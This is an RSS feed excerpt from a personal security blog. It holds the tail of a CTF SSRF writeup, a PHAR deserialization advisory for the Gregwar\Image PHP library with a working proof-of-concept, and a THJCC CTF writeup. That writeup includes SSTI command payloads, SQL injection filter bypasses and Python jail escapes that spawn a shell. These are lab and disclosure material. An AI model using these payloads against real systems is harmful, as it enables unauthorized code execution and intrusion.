上網查一下就可以知道在沒有硬控制加上 &lt;code&gt;/&lt;/code&gt; 的情況就可以用 &lt;code&gt;@&lt;/code&gt; 讓他訪問後面的網址
像是 : &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://google.com@tusoar.tech&quot;&gt;https://google.com@tusoar.tech&lt;/a&gt;  -&amp;gt; 會去 tusoar.tech&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://google.com/@tusoar.tech&quot;&gt;https://google.com/@tusoar.tech&lt;/a&gt; -&amp;gt; 會去 google.com 然後他會把後面當路徑&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;好講回來題目，所以我們只需要給一個&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://cha-thjcc.scint.org:10068/fetch?scheme=https://&amp;amp;host=blog&amp;amp;path=@secret.flag.thjcc.tw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基本來說就可以訪問，但卻顯示&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Failed to fetch data from the URL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;去本地看一下錯誤訊息就會知道&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;web-1                   | TypeError [ERR_INVALID_PROTOCOL]: Protocol &amp;quot;https:&amp;quot; not supported. Expected &amp;quot;http:&amp;quot;
web-1                   |     at new NodeError (node:internal/errors:372:5)
web-1                   |     at new ClientRequest (node:_http_client:164:11)
web-1                   |     at request (node:http:96:10)
web-1                   |     at Object.get (node:http:107:15)
web-1                   |     at /app/app.js:32:10
web-1                   |     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
web-1                   |     at next (/app/node_modules/express/lib/router/route.js:149:13)
web-1                   |     at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)
web-1                   |     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
web-1                   |     at /app/node_modules/express/lib/router/index.js:284:15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原來是沒有支援 https，但題目今天給了個檢查&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function CheckIfHttp(scheme) {
    return scheme.startsWith(&amp;#39;http://&amp;#39;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但這其實很好繞，&lt;del&gt;又是老梗的檢查大小寫問題&lt;/del&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://cha-thjcc.scint.org:10068/fetch?scheme=htTp://&amp;amp;host=blog&amp;amp;path=@secret.flag.thjcc.tw
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{N0...K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;Unintended Solution&lt;/h3&gt;
&lt;p&gt;由於我在檢查時使用了 &lt;br /&gt;
&lt;code&gt;scheme.startsWith(&amp;#39;http://&amp;#39;);&lt;/code&gt; &lt;br /&gt;
而不是 &lt;code&gt;scheme.startsWith(&amp;#39;http&amp;#39;);&lt;/code&gt; &lt;br /&gt;
所以 @legendyang 也利用拼回去的方式解出這題 &lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://cha-thjcc.scint.org:10068/fetch?scheme=http&amp;amp;host=://sec&amp;amp;path=@secret.flag.thjcc.tw:80/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣也可以拿到 FLAG&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/thjcc_winter/&quot;&gt;https://solarfish.me/blog/thjcc_winter/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Sun, 15 Dec 2024 00:00:00 GMT</pubDate></item><item><title>AIS3 2024&apos;s Research</title><link>https://solarfish.me/blog/gregwar_research/</link><guid isPermaLink="true">https://solarfish.me/blog/gregwar_research/</guid><description>關於我在 AIS3 2024 找的 0day</description><content:encoded>&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Gregwar\Image&lt;/code&gt; is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when &lt;code&gt;Gregwar\Image&lt;/code&gt; is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.&lt;/p&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;there is a vulnerable example with : GD.php&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GD.php&lt;/strong&gt; line 610~617&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;protected function openJpeg($file)
    {
        if (file_exists($file) &amp;amp;&amp;amp; filesize($file)) {
            $this-&amp;gt;resource = @imagecreatefromjpeg($file);
        } else {
            $this-&amp;gt;resource = false;
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;You can see there&amp;#39;s a file_exists function, and when we pass in a JPEG file, it gets triggered.&lt;/li&gt;
&lt;li&gt;However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;File.php&lt;/strong&gt; line 29~61&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;     public function guessType()
    {
        if (function_exists(&amp;#39;exif_imagetype&amp;#39;)) {
            $type = @exif_imagetype($this-&amp;gt;file);

            if (false !== $type) {
                if ($type == IMAGETYPE_JPEG) {
                    return &amp;#39;jpeg&amp;#39;;
                }

                if ($type == IMAGETYPE_GIF) {
                    return &amp;#39;gif&amp;#39;;
                }

                if ($type == IMAGETYPE_PNG) {
                    return &amp;#39;png&amp;#39;;
                }

                if ($type == IMAGETYPE_WEBP) {
                    return &amp;#39;webp&amp;#39;;
                }
            }
        }

        $parts = explode(&amp;#39;.&amp;#39;, $this-&amp;gt;file);
        $ext = strtolower($parts[count($parts) - 1]);

        if (isset(Image::$types[$ext])) {
            return Image::$types[$ext];
        }

        return &amp;#39;jpeg&amp;#39;;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Thus, we create the PHAR file like this.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;create_phar.php&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this-&amp;gt;data = $data;
	}
	
	function __destruct() {
		system($this-&amp;gt;data);
	}
}

// create new Phar
$phar = new Phar(&amp;#39;poc.phar&amp;#39;);
$phar-&amp;gt;startBuffering();
$phar-&amp;gt;addFromString(&amp;#39;poc.txt&amp;#39;, &amp;#39;text&amp;#39;);
$phar-&amp;gt;setStub(&amp;quot;\xff\xd8\xff\n&amp;lt;?php __HALT_COMPILER(); ?&amp;gt;&amp;quot;);

// add object of any class as meta data
$object = new AnyClass(&amp;#39;whoami&amp;#39;);
$phar-&amp;gt;setMetadata($object);
$phar-&amp;gt;stopBuffering();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We obtain the file.:
&lt;img src=&quot;https://hackmd.io/_uploads/BJtDJNGq0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And we setup the following code in &lt;code&gt;/var/www/html&lt;/code&gt;: vuln.php represents our use of &lt;code&gt;gregwar/image&lt;/code&gt; functions and poc.php represents code with a vulnerable POP chain.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;poc.php&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this-&amp;gt;data = $data;
	}
	
	function __destruct() {
		system($this-&amp;gt;data);
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;vuln.php&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php

    require_once &amp;#39;vendor/autoload.php&amp;#39;;

    include &amp;#39;poc.php&amp;#39;;

    use Gregwar\Image\Image;

    Image::open(&amp;#39;phar://poc.phar/&amp;#39;)
        -&amp;gt;resize(500, 500)
        -&amp;gt;save(&amp;#39;out.png&amp;#39;, &amp;#39;png&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And execute vuln.php with php vuln.php, you should see whoami being executed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SJhTeVGcC.png&quot; alt=&quot;image&quot;&gt;
or 
&lt;img src=&quot;https://hackmd.io/_uploads/r1LAxVzqR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Add a whitelist to enhance input validation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Gregwar/Image/tree/master&quot;&gt;https://github.com/Gregwar/Image/tree/master&lt;/a&gt;
&lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization&quot;&gt;https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization&lt;/a&gt;
&lt;a href=&quot;https://github.com/Gregwar/Image/issues/193&quot;&gt;https://github.com/Gregwar/Image/issues/193&lt;/a&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/gregwar_research/&quot;&gt;https://solarfish.me/blog/gregwar_research/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Wed, 07 Aug 2024 00:00:00 GMT</pubDate></item><item><title>THJCC CTF Writeup</title><link>https://solarfish.me/blog/thjcc_2024_wp/</link><guid isPermaLink="true">https://solarfish.me/blog/thjcc_2024_wp/</guid><description>第一次打 THJCC 好緊張 &gt;&lt;</description><content:encoded>&lt;h2&gt;Welcome&lt;/h2&gt;
&lt;h3&gt;Welcome 0x1&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;歡迎來到 THJCC CTF !

本次競賽所有Flag格式為 THJCC{*.}

記得要詳閱規則 不要作弊!

祝各位榮獲佳績!ヽ(́◕◞౪◟◕‵)ノ

Author : OsGa
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;標籤上面有一個 FLAG (1/2)&lt;/li&gt;
&lt;li&gt;規則的最底下又有一個 (2/2)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{5cINt_sC4icT_5C1sT}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Discord 0x1&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;相信你已經加入 Discord 伺服器了!

如果還沒 https://discord.gg/RDhf7rxz4f 趕快加入 領取身份組 !!

我已經把這題的Flag藏在伺服器裡了 快去尋找吧!

備註:題目與ticket無關
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;加入 Discord 看到 THJCCBOT 上面有兩段 FLAG (在橫幅跟身分組) (1/3) (3/3)&lt;/li&gt;
&lt;li&gt;(2/3) 在 BOT 的命令 先 ls 再 cat flag.txt 就出來了&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{r3meMB3R!J01Ndi5c0rD_5eRv3r}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Empty&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;空空如也的網站....
http://23.146.248.36:10002/

Author: Whale120
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;base64 解碼 js 裡的東西加上註解的那個神祕路徑裡面的另一段 FLAG :P&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{cookie_&amp;amp;&lt;em&gt;view_source&lt;/em&gt;!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;blog&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://23.146.248.36:10001/
請幫我找到我blog的密碼,感恩 &amp;gt;&amp;lt;
p.s.我好像很粗心的把密碼留在哪裡qwq
Author: Whale120
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;觀察一下，是個 blog 的發表介面，然後每個欄位都有地方可以登入&lt;/li&gt;
&lt;li&gt;原本在那邊 sqli 但是好久都試不出來 qwq&lt;/li&gt;
&lt;li&gt;最後回去觀察題目 &lt;code&gt;p.s.我好像很粗心的把密碼留在哪裡qwq&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看到一個疑似 password 的留言 &lt;code&gt;iloveshark&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把他跟 admin 拿去登入就過了 &lt;del&gt;其實這題我卡超久...&lt;/del&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{w31c0me_h@cker}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Simplify&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://23.146.248.36:10003/
試著成為admin吧~
可以使用帳號密碼 test:test1234 進行登入

Author: Whale120
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;先把 &lt;code&gt;test:test1234&lt;/code&gt; 拿去登入，然後發現他說我不是 &lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;觀察一下 cookie 把 &lt;code&gt;test&lt;/code&gt; 改成 &lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;出現其他的東西了! 是個 cat say 然後會根據你 url 後面輸入的東西顯示出來&lt;/li&gt;
&lt;li&gt;原始碼也有提示 SSTI，去網路找個 payload 送過去就好了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{ cycler.__init__.__globals__.os.popen(&amp;#39;ls&amp;#39;).read() }}
{{ cycler.__init__.__globals__.os.popen(&amp;#39;cat f*&amp;#39;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{w3ak_auth_+_S$TI}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;🦊🌽&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;你可以變成管理員,看到開心的狐狐嗎?

🌽

*這個Emoji和他的連結跟題目沒有關係(This Emoji and its link are not parts of the lab)

http://23.146.248.36:10010
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;這是個會把你的 cookie 拿去 sql 找 row 然後如果你是 admin 就可以回傳 FLAG&lt;/li&gt;
&lt;li&gt;可以知道我們目標是 sqli 拿到 admin 的權限&lt;/li&gt;
&lt;li&gt;而主要驗證的地方在這邊&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;username, password = base64.b64decode(content.encode()).decode(encoding=&amp;quot;utf8&amp;quot;).split(&amp;quot;@&amp;quot;)
        # 去除所有空格
        username = &amp;quot;&amp;quot;.join(username.split())
        password = &amp;quot;&amp;quot;.join(password.split())

        # 過濾username中所有特殊字符
        mu = re.match(r&amp;#39;.*\W&amp;#39;, username)
        if mu is None: 
            # 過濾password中所有英文字母跟等號
            cflag = False
            for w in password: 
                if (w in string.ascii_letters) or (w == &amp;quot;=&amp;quot;): cflag = True
            if (cflag): return None
            else:
                conn = sqlite3.connect(&amp;quot;user.db&amp;quot;)
                rows = conn.execute(f&amp;quot;select * from user where (user=&amp;#39;{username}&amp;#39;) and (pass=&amp;#39;{password}&amp;#39;);&amp;quot;)

                result = None
                for row in rows: result = tuple(row)
                conn.close()

                if result is None: return None
                else: return str(result[0])
        else: return None
    except: return None 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以觀察 rows 有 sqli&lt;/li&gt;
&lt;li&gt;我們的目標是要 做出像是 &lt;code&gt;password=&amp;#39;&amp;#39; or 1=1;--&lt;/code&gt; 的效果&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;#39; or 1=1;--&lt;/code&gt; 要 bypass &amp;quot;space&amp;quot; &amp;quot;=&amp;quot; &amp;quot;or&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;space&amp;quot; 可用 /**/
&amp;quot;=&amp;quot; 可以用大於小於 2&amp;gt;1
&amp;quot;or&amp;quot; 可以用 &amp;quot;||&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;所以全部看起來會像是&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;admin@&amp;#39;)/**/||/**/2&amp;gt;1;--

base64 = YWRtaW5AJykvKiovfHwvKiovMj4xOy0t
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;拿去 set cookie 就過了 φ(゜▽゜*)♪&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/BJCNGn2bC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{cUt3_wh1e3_f0x_sh1rakam1_fuBuk1_0x133ee79}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;原神帳號外流&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://23.146.248.36:40009/login

小朝是一位來自THJCC這間公司的資安工程師,有一次上班摸魚中無意間開啟了原神並且登入了帳號,然而天真的他居然忘了用vpn就直接登入遊戲,導致公司的藍隊演練工程師攔截封包時,意外獲取了他的帳號,於是身為首席駭客的你並想登入他的原神帳號並且幹走他的遊戲道具。

請在此封包中找到正確的帳號密碼並登入取得flag

Author : dkri3c1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;題目給了一個 pcap 檔，用 wireshark 右鍵 follow TCP Stream 一個一個試密碼就出來了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bas&quot;&gt;name=Frieren&amp;amp;password=B3stan1me
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;試到這個就出來了!&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{W3r3_sHarKKKKKK_MasT3R_C8763}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;出題者大合照&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;好誒!這是我們在 SITCON 2024 的大合照!

感謝每一位辛苦的出題者 才有這次的比賽!

但是但是 可惡的駭客 潘志豪 把FLAG給藏在這張照片了

你能找到它嗎?

Author : OsGa
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;各種技巧試了一下最後用到 steghide 發現有東西&lt;/li&gt;
&lt;li&gt;試了一下指令&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;steghide extract -sf chal.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;passphrase 不用打 直接按 enter&lt;/li&gt;
&lt;li&gt;就看到有東西寫到 flag.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@universe:/mnt/c/Users/soar/Desktop$ steghide extract -sf chal.jpg
Enter passphrase:
wrote extracted data to &amp;quot;flag.txt&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;打開看就有了&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;THJCC{S1TC0N_2o2A_a1l_hAnDs0m3_9uY5}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;PyJail-0&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc 23.146.248.36 40000

Try to escape it!

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;直接拿你輸入的東西去 eval，沒有擋任何東西&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;sh&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;PyJail-1&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc 23.146.248.36 40001

Try to escape it!I increased security!

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;        print(&amp;quot;Try to escape!!This is a jail&amp;quot;)
        print(&amp;quot;I increased security!!!&amp;quot;)
        a=input(&amp;quot;&amp;gt; &amp;quot;)
        if len(a)&amp;lt;15:
            eval(a)
        else:
            print(&amp;quot;Don&amp;#39;t escape!!&amp;quot;)
    except:
        print(&amp;quot;error&amp;quot;)
        exit()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;限制了 15 的長度，否則拿去 eval&lt;/li&gt;
&lt;li&gt;上網找一下資料，找到 &lt;a href=&quot;https://hackmd.io/@sdHUgwi_RuWXfWL7njKG3A/BkGRIJKsi&quot;&gt;這個&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;eval(input())
__import__(&amp;#39;os&amp;#39;).system(&amp;#39;sh&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;就可以拿到 shell 了~&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Evil Form&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;https://forms.gle/RwfTU2a8LdBZUgxX7

Asia G0dTone在一次地下城冒險中,受到了魔鬥凱薩的攻擊,並且受困於名為表單競技場的技能中,身為首席駭客兼勇者的你請英雄救美吧!

Author : dkri3c1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;這題也不知道是不是預期解 XD&lt;/li&gt;
&lt;li&gt;我是檢查網頁原始碼然後直接 ctrl + F 找 THJCC&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;quot;Here is your flag 1/3 : THJCC{&amp;quot;,8,null,
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;往下找看到奇怪的東西&lt;/li&gt;
&lt;li&gt;解 unicode + 轉換 HTML equivalent 後看到&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;Y0u Successful Escape The l00p! again&amp;lt;div&amp;gt;BTW I do some encrypt of this message xD&amp;lt;br&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;w6C6 :D J@FC 7=28&amp;lt;/span&amp;gt; 2/3: &amp;lt;span&amp;gt;w24&amp;lt;&amp;lt;&amp;lt;&amp;lt;E96&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;經過&lt;code&gt;博元婦產科&lt;/code&gt;那題，我拿去 &lt;a href=&quot;https://gchq.github.io/CyberChef/#ieol=CRLF&amp;oeol=CRLF&quot;&gt;cyberchef&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;用 ROT 47&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SyoyFh2WR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Here is your flag 2/3 : Hackkkkthe
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;接著往下翻，我找到&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-htmlembedded&quot;&gt;&amp;quot;3/3&amp;quot;,&amp;quot;Y0u must master in hacking google form!!!\nS0 You als0 g00d at Crypto!!!\nSGVyZSBpcyB5b3VyIGZsYWcgMy8zIDogX2dvb2dsZV9mMHJNX01vcmRla2Fpc2VyfQ\u003d\u003d&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看起來像是 base64&lt;/li&gt;
&lt;li&gt;解碼後&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Here is your flag 3/3 : _google_f0rM_Mordekaiser}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{Hackkkkthe_google_f0rM_Mordekaiser}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Geoguesser???&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;I saw a photo of a cram school on social media that seemed familiar, and I want to know its location.Could you provide the coordinates of the cram school in the photo, rounded to the fourth decimal place? (If you have any question. you can open ticket to tell me)

Flag Format:THJCC{緯度_經度} (ex:THJCC{23.4567_111.2458})

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/rrharil0302/status/1776462043761238290&quot;&gt;題目網址&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目的是找到圖中的補習班-但洩漏了電話!&lt;/li&gt;
&lt;li&gt;把電話拿去搜尋即可拿到地址&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;68-6 Yamasakichō Shikazawa, Shiso, Hyogo 671-2576日本
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;然後去 google map 複製精確經緯度&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;(35.0039558, 134.5426340)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{35.0039_134.5426}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;I want to go to Japan&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;I want to go JAPAN!!!This shrine is so cute!Tell me where it is. 

Flag Format:THJCC{緯度_經度} (Taken from the third decimal place, the answer is mainly from wiki) ex:THJCC{20.478_154.789}

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/rrharil0302/status/1782034885626188150&quot;&gt;題目位置&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;這題前面我一直在耍笨，一直以為是飯店就一直填飯店的位置，回去看題目才發現是神社......&lt;/li&gt;
&lt;li&gt;先去找圖片上女孩的名字，可以發現是在北海道函館那邊&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://lawrencium-onmusu.blog.jp/archives/21878126.html&quot;&gt;後來找到這個然後去搜尋了附近的神社&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ja.wikipedia.org/wiki/%E6%B9%AF%E5%80%89%E7%A5%9E%E7%A4%BE&quot;&gt;找到這個神社&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;把經緯度填上去就中了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;(41.782_140.791)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{41.782_140.791}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;博元婦產科&lt;/h3&gt;
